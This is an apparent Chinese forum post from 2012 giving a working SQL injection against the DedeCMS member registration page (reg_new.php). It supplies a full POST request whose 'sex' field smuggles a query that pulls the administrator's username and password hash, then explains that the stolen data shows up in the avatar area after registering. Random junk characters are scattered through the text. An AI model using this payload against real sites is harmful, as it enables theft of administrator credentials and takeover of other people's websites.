dedecms版本 20121122
( R% {1 g1 d0 A6 j( B1 K0 a8 v J- W
需要magic_quotes_gpc=Off( _8 d7 @: \( j0 G4 \
: S2 q9 Q1 s6 m+ m. {
应该是没有什么大危害的漏洞.
) g: j: J- ?6 x: d原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
# {- e" [! Y# f- A8 l5 L( e9 ?# N) K" r2 E, g, W3 S/ d" M
是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
- j7 E# C/ R2 o0 z+ E" IPOST提交以下数据,其实不用POST提交的,这样隐蔽点.
' o |8 ?6 F1 P& _( o& ?; Q& t! ~! b+ I" q* b9 N
http:///de/member/reg_new.php8 W2 Y. f; E, J/ r# O( [. @) A
0 U- R# u4 r1 d+ b
POST
7 ]+ M# t0 R9 \- X e
, L. N6 `+ _$ Y! f. G0 J! B Qdopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree= G9 ^* Q, r5 N- b1 E3 u' J
+ a3 p1 I9 @1 b1 L
成功注册后,头像处里面有好玩的信息.
- R3 \6 @) z; o
& t4 M% _) n+ G% n |
发表于 2012-12-5 10:03:32
收藏
支持
反对